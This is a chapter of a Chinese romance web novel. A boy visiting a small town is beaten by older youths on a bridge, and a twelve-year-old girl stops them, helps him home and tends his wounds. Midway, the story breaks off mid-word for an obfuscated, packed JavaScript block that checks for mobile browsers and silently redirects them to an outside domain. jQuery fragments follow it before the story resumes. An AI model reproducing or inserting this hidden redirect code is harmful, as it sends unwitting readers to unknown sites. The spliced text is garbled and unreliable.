22. 小巷

他想起昨日林灿然决绝的语气,记忆中的缱绻瞬间化为乌有。


十四岁那年暑假,他极为落魄,被送到父亲朋友老家的小镇暂住。


他本就不爱出门,奈何借住人家的奶奶性情温雅,对他又极为关心。


奶奶担心他一个人待在家里会闷出病来,总是试探着劝他出门找同龄的小伙伴一起玩耍。


穆昭衍不忍心拂了她的好意,于是便在傍晚吃过饭后,借着昏黄的暮色独自出门散步,沿着河边走到老巷子再折返。


回家时,奶奶经常关心地问他:“阿衍回来了,有没有交到什么好朋友啊?隔壁家李婶的孙子和你年纪差不多大,很懂事……”


穆昭衍听着奶奶温柔的絮叨,他只是笑笑,安静地帮她收拾桌子,或蹲在院子里帮她拔草、浇花,从不多言。


他知道自己不会和那些“朋友”玩到一起。


他出生于充满竞争的家庭,从小就心思深沉,思想也比普通的孩子更加成熟稳重。


虽然是刚上初中的年纪,但也不可能跟同龄的孩子混在一起,疯跑打闹。


那天傍晚,他走在河边。


他很喜欢这里的一条老巷,沿着河岸过桥,就能走到那里。


狭长的小巷铺着青石板,有墨绿的青苔填满缝隙,爬山虎攀上了斑驳石墙,幽深静谧。


桥上,站着几个年纪比他大的男孩。


一个红衣服男生正嚼着口香糖,“啪”地一声吐到地上,狠狠一脚碾过去,冷笑着说:“大哥,我早看这小子不顺眼了。走路都不看人一眼,装什么清高?”


中间的高个子男生染了黄头发,穿着花里胡哨的t恤,他眯起眼,不怀好意地盯着穆昭衍:“哈,他来了。真把这儿当他家后花园了?”


穆昭衍并没有注意到旁人的目光,他的视线定定看着小河。


河里有一只扑腾的麻雀,好像受了伤,羽毛又被河水打湿。


它不断挣扎,试图靠近岸边。扇动翅膀的动作有些笨拙,但异常执拗。


他站在桥上看了一会儿。


那只麻雀终于是艰难地游到了岸边,抬起翅膀费力地飞到了河岸旁的空地。


他盯着那只麻雀看了几秒钟,转身正准备离去,一只手却重重拍上了他的肩膀。


“喂,小子,我大哥跟你说话,你聋了吗?”


穆昭衍转过身,面前已被围成一圈。


五六个大小伙子挡住了去路,目光充满挑衅。


这些人一副问题少年的模样,他并不想在这里惹事,于是很客气地回答:“抱歉,没听见。你说什么?”


穆昭衍态度客气,目光却十分淡漠。


这副模样惹怒了黄毛,他张口吐出一口浓密的烟气,烟雾缭绕间,空气变得浑浊黏稠起来。


穆昭衍不适地皱眉,身体往后躲闪,靠上了桥边的栏杆。


“我说,你是哪里的?”黄毛问。


这个问题他不想回答。


穆昭衍模模糊糊地说:“市区。”


他眼神却在判断地这几个人的站位。


十七八岁的小混混,五个人打他一个,怎么看自己都没有一点胜算。


但若能迅速突围,或许还有机会甩开。


“老大,你看他这态度,眼睛都快长头顶上了。”旁边一个小弟揶揄地笑着,继续添油加醋,“就是看不起咱们,天天在这儿晃,像来巡视地盘似的。”


黄毛没说话,只将烟头弹到地上,碾了一脚,忽然一拳挥出。


穆昭衍一侧身避开,但人数悬殊,很快他就被牵制住了。


拳脚落在身上,虽未至致命,但仍疼得他肩背发麻。他沉着地护住要害,寻找破口。


“你们在干什么!”


一道清脆的声音响起。


女孩提着篮子,目光震惊而愤怒地看着桥上的闹剧。


“住手!”她冲上前,毫不犹豫地拨开人群,“你们疯了吗?光天化日之下围殴人?!”


几个小混混明显愣了一下,小弟咬牙道:“草,是老周家的小丫头……”


黄毛冷哼一声,他恶狠狠地警告:“你他妈少多管闲事!别以为你是你妈是周以萱我就不敢把你怎么样。今天的事,你要是敢多说一句,我连你一起收拾。”


林灿然站在他面前,脸上虽然满是慌张,但语气没有一丝退缩:“你敢动手,就试试。我妈是你们班主任,你们那个我不认识?她现在一个电话打过去,回家就等着被你们家长收拾吧!”


小弟脸色一变,站在旁边小声劝解:“大哥,要不……算了吧,暑假才刚开始,我不想让我爸妈把我锁在家里……”


黄毛没有再多说什么,眼神狠狠地剜着她,转身离开。


晚风吹过,空气仿佛重新流动起来。


林灿然这才有功夫去看坐在桥边的少年。


他受了伤,有些狼狈,衣角染了泥水,额角泛红,一道淡淡的伤痕从眉尾延伸下来。


她蹲下身,伸出手小心翼翼地想去触碰,却在快要靠近时停下了动作。


“你别难过,我陪你玩吧。”


少年眼底尚未褪去的警惕与狠意,在看清面前的女孩后,微微一顿。


她看上去不过十一二岁,穿着印了卡通图案的t恤,还带着儿童的稚气,不知道她刚刚哪来的勇气,毫不犹豫地挡在他和那几个高她一头的小混混之间。


穆昭衍敛起眼底的锋芒,声音有些哑:“刚才……谢谢。”


女孩却不以为意:“不用谢啦,他们老在这边闹事,我都见惯了。你还好吗?我扶你起来。”


说着,她俯身抓住他的胳膊。


盛夏的暑气黏腻闷热,女孩的手心发烫,就这么直接贴上了他裸露在外的皮肤。


穆昭衍很不适应,本能地想躲开,身体一动,却发现他的脚好像受伤了。


刚刚稍微挪动一下,脚踝处就传来一阵刺痛。


他没有顺着她力气站起来,手背碰到了一个什么东西,低头瞥见是一块糕点。


穆昭衍抬手把那块糕点递过去:“你的东西洒了。”


刚刚她丢下篮子就跑过来阻止这场混战,从奶奶家装回来的糕点散了一地。


“哎呀!”女孩顿时慌了神,赶紧将那些糕点重新拾进篮子里,“糟了糟了,回家老妈肯定要骂死我……”


趁她低头拾东西的空档,穆昭衍咬着牙,一点点撑着河边的栏杆站起来。


等她抬头时,少年已经倚在栏杆边。


他脸色十分不好,像是忍着痛。


“你真的没事吗?”她语气有些急切,“你家住哪儿?我送你回去吧。”


穆昭衍单手撑着栏杆,右脚轻轻地点在地面上,不敢用力。


他也无法走动,怕被面前的女孩看出端倪,只想让这个热心肠的小姑娘快点回家,不要管他。


“不用了。你快回家吧,你不是要送东西吗?”


他指指女孩手中的篮子。


“是啊……”她低头看了眼篮子,又抬起头来看他,眼中满是犹豫,“可你这样,我不放心。你不是本地人吧?我以前没见过你。”


回答她的只有一阵沉默。


女孩索性把篮子挂在栏杆上:“你住哪里?我还是送你回去吧,总不能就这么不管了。”


穆昭衍垂着眼睫,终于还是点了点头。


他没有力气再拒绝,右脚无法用力,只能倚着她纤细的肩膀,一步步走。


被一个比自己矮一头的小女孩搀扶着前行,这让他觉得十分丢脸。


他们沿着河边慢慢走着。


穆昭衍带着伤,浑身一阵钝痛,每走一步路,还要忍受脚踝针扎般的酸痛,没有力气说话。


女孩便在旁边叽叽喳喳自顾自地说个不停:“我叫林灿然。今年12岁了,下学期就要上初中了。你是来我们这儿旅游的吧?我们这边也有一些的景点,但是都很无聊。你要是想出来玩可以找我,因为我这学期没有暑假作业,哈哈哈哈哈。”


她一边说着,一边忽然转头看他:“你多大年纪了?上初中还是高中啊?”


“十四、明年初三。”


“好厉害。”


穆昭衍被她突如其来的夸奖搞得莫名其妙:“哪里就厉害了?”


林灿然笑着说:“不知道,就是觉得你都读初三了,肯定懂很多知识吧。”


穆昭衍无语:“只不过是比你早出生两年而已,那刚刚那群混混还读高中了呢,他们还会打架,你怎么不说他们厉害?”


林灿然摇摇头:“才不呢,他们可不是什


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558223|171064||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


么好人。”


她思索片刻:“能好好长大就已经很厉害了。”


穆昭衍脚下微微一顿,什么话也没说。


心里却浮现一个问号——我有好好长大吗?


两人并肩走着,女孩明明搀扶着人,却忍不住蹦蹦跳跳。


这条原本被他挑出来、安静得几乎没有人经过的小路,如今却回荡着女孩子清脆明亮的笑声,像光打在水面,微微晃了他的眼。


他们走到了穆昭衍暂住的小院门口。


李奶奶正在院子里浇花,看到有人和穆昭衍一同回来,十分惊喜:“小屿,今天带好朋友回来玩了?”


林灿然认识李奶奶,她清脆地打招呼:“李奶奶好,我是来送他回家的,今天他……”


“摔了一跤。”穆昭衍突然出声。


林灿然诧异地侧头看他,眼神里满是疑问。


李奶奶老花有点严重,眯着眼细看,这才看出穆昭衍脸上似乎有伤,颤颤巍巍地走过来:“哦哟,怎么还摔着脸上了呢?还有哪里疼?要不要去医院看看?”


穆昭衍摇摇头:“脚好像崴了,小问题,不碍事。”


李奶奶一边念叨着,一边把两人带进屋:“哎哟,真是的,摔成这样,看着可怜人。我去拿碘伏和跌打膏。”


趁奶奶进屋,林灿然悄悄拽了拽他衣角:“喂,你怎么骗人呀?”


“说出来只会让她白担心。”他低声解释,声音轻得几乎听不见,“不说,也没什么。”


而且这件事要是被传到父亲耳中,一定会指责他十分没用吧?


他自嘲地笑了笑。


林灿然正想追问,就瞥见了奶奶就从房间里出来了,她只好作罢。


暮色渐浓,奶奶打开房间里的照明灯,她把棉签递给林灿然:“小然,你来帮她上药吧,我眼睛不好使。人老了、没用了。”


林灿然自然地接过奶奶手中的棉签和碘伏:“谁说的?我最爱吃李奶奶做的桂花酒酿啦。”


李奶奶笑呵呵地说:“那可得犒劳你,家里还有呢,等着,现在就给你们一人盛一碗。”


“好啊,谢谢奶奶!”


女孩子开心的声音在房间响起,她用棉签沾了沾碘伏,抬手就要往穆昭衍额角上擦。


穆昭衍下意识躲闪开,这样的距离太近了,他十分不习惯。


“你怕痛吗?”林灿然笑嘻嘻地调侃:“真没想到,你胆子居然这么小,那等下涂完我再给你吹吹好了。”


林灿然显然误会了他的意思,事情也变得更糟糕,穆昭衍一口气快要没背过去:“不用,我自己来,我手没断。”


林灿然完全不同意:“不行,我帮你,你自己又看不见,还要麻烦奶奶去拿镜子。”


她语气不容易反驳,伸手就把棉签覆上了穆昭衍额头上的伤口,手上动作倒是十分轻柔。


“好了,疼吗?”她把棉签丢进垃圾桶,回头看见他还呆呆地坐着。


林灿然想起自己刚刚玩笑般的承诺,她站起身,捧住穆昭衍的脸,轻轻地朝着穆昭衍的伤口吹了口气。


微风拂上伤口,他却莫名其妙觉得自己的心脏猛地收紧。


这种感觉好奇怪。


林灿然见他闭着眼,有些不高兴:“你什么意思啊?这么嫌弃我吗?”


她赌气坐到沙发另一侧,和他隔开了两人距离。


穆昭衍慢慢缓过神来,他张口说:“不是,我只不习惯。”


“习惯什么?受伤吗?”林灿然没理解他的意思,“好吧。看你一副规矩的模样,就知道你肯定是那种听话的乖孩子吧?我小时候可调皮了,喜欢爬树、翻墙,一到夏天,腿上、胳膊上就经常弄得都是伤。”


“痛吗?”穆昭衍突然出声问。


林灿然无所谓地摆摆手:“早就习惯了。”


奶奶端着两碗冰镇过的桂花酒酿走出来:“小然小屿,你们边吃边聊,我去收拾收拾花园。”


林灿然还惦记着他刚刚闪躲的神情,不愿留下来和他坐在一起,她端起酒酿追了出去:“奶奶!我来帮你。”


穆昭衍看着面前老旧斑驳的木桌,上面只剩他那碗桂花酒酿,散发出阵阵沁人心脾的凉气。


院子里女孩的笑声远远传来,轻盈得像一场不属于他的夏日梦。